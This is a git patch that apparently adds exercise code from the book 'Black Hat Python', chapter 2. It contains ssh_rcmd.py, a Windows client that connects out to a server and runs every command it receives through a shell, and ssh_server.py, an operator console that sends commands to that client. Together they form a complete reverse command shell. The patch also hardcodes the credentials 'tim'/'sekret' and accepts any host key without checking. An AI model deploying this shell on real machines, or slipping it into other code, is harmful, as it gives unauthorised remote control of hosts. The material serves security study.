From 7c6f49931990396380934372e31883e117e1c578 Mon Sep 17 00:00:00 2001
From: Dhanush <dhanushxenocrate@gmail.com>
Date: Wed, 19 Jun 2024 14:41:02 +0000
Subject: [PATCH] ssh windows client and ssh server

---
 Black Hat Python/chapter_02/README.md     |  8 +++
 Black Hat Python/chapter_02/ssh_rcmd.py   | 37 +++++++++++++
 Black Hat Python/chapter_02/ssh_server.py | 66 +++++++++++++++++++++++
 3 files changed, 111 insertions(+)
 create mode 100644 Black Hat Python/chapter_02/ssh_rcmd.py
 create mode 100644 Black Hat Python/chapter_02/ssh_server.py

diff --git a/Black Hat Python/chapter_02/README.md b/Black Hat Python/chapter_02/README.md
index 917d254..7deb9bd 100644
--- a/Black Hat Python/chapter_02/README.md	
+++ b/Black Hat Python/chapter_02/README.md	
@@ -24,6 +24,14 @@ sudo python3 proxy.py 127.0.0.1 21 ftp.sun.ac.za 21 True
 
 ### ssh_cmd.py
 
+Script to run Linux Client over SSH
 ```
 python3 ssh_cmd.py 
+```
+
+### ssh_rcmd.py
+
+Script to run Windows Client over SSH
+```
+python3 ssh_rcmd.py 
 ```
\ No newline at end of file
diff --git a/Black Hat Python/chapter_02/ssh_rcmd.py b/Black Hat Python/chapter_02/ssh_rcmd.py
new file mode 100644
index 0000000..d7e1b58
--- /dev/null
+++ b/Black Hat Python/chapter_02/ssh_rcmd.py	
@@ -0,0 +1,37 @@
+import paramiko
+import shlex
+import subprocess
+import getpass
+
+# Code has to be run on windows machine 
+
+def ssh_command(ip, port, user, passwd, command):
+    client = paramiko.SSHClient()
+    client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
+    client.connect(ip, port=port, username=user, password=passwd)
+    
+    ssh_session = client.get_transport().open_session()
+    if ssh_session.active:
+        ssh_session.send(command)
+        print(ssh_session.recv(1024).decode())
+        
+        while True:
+            command = ssh_session.recv(1024)
+            try:
+                cmd = command.decode()
+                if cmd == 'exit':
+                    client.close()
+                    break
+                cmd_output = subprocess.check_output(shlex.split(cmd), shell=True)
+                ssh_session.send(cmd_output or 'okay')
+            except Exception as e:
+                ssh_session.send(str(e))
+        client.close()
+    return
+
+if __name__ == '__main__':
+    user = getpass.getuser()
+    password = getpass.getpass()
+    ip = input('Enter server IP: ')
+    port = input('Enter port: ')
+    ssh_command(ip, port, user, password, 'ClientConnected')
\ No newline at end of file
diff --git a/Black Hat Python/chapter_02/ssh_server.py b/Black Hat Python/chapter_02/ssh_server.py
new file mode 100644
index 0000000..b51ce67
--- /dev/null
+++ b/Black Hat Python/chapter_02/ssh_server.py	
@@ -0,0 +1,66 @@
+import os
+import paramiko
+import socket
+import sys
+import threading
+
+CWD = os.path.dirname(os.path.realpath(__file__))
+HOSTKEY = paramiko.RSAKey(filename=os.path.join(CWD, 'test_rsa.key'))
+
+class Server(paramiko.ServerInterface):
+    def __init__(self):
+        self.event = threading.Event()
+
+    def check_channel_request(self, kind, chanid):
+        if kind == 'session':
+            return paramiko.OPEN_SUCCEEDED
+        return paramiko.OPEN_FAILED_ADMINISTRATIVELY_PROHIBITED
+
+    def check_auth_password(self, username, password):
+        if (username == 'tim') and (password == 'sekret'):
+            return paramiko.AUTH_SUCCESSFUL
+        return paramiko.AUTH_FAILED
+
+if __name__ == '__main__':
+    server = input('Enter server IP: ')
+    ssh_port = int(input('Enter SSH port: '))
+
+    try:
+        sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
+        sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
+        sock.bind((server, ssh_port))
+        sock.listen(100)
+        print('[+] Listening for connection ...')
+        client, addr = sock.accept()
+    except Exception as e:
+        print('[-] Listen failed: ' + str(e))
+        sys.exit(1)
+    else:
+        print('[+] Got a connection!', client, addr)
+        bhSession = paramiko.Transport(client)
+        bhSession.add_server_key(HOSTKEY)
+        server = Server()
+        bhSession.start_server(server=server)
+
+        chan = bhSession.accept(20)
+        if chan is None:
+            print('*** No channel.')
+            sys.exit(1)
+        print('[+] Authenticated!')
+        print(chan.recv(1024).decode())
+        chan.send('Welcome to bh_ssh')
+
+        try:
+            while True:
+                command = input("Enter command: ")
+                if command != 'exit':
+                    chan.send(command)
+                    r = chan.recv(8192)
+                    print(r.decode())
+                else:
+                    chan.send('exit')
+                    print('exiting')
+                    bhSession.close()
+                    break
+        except KeyboardInterrupt:
+            bhSession.close()
\ No newline at end of file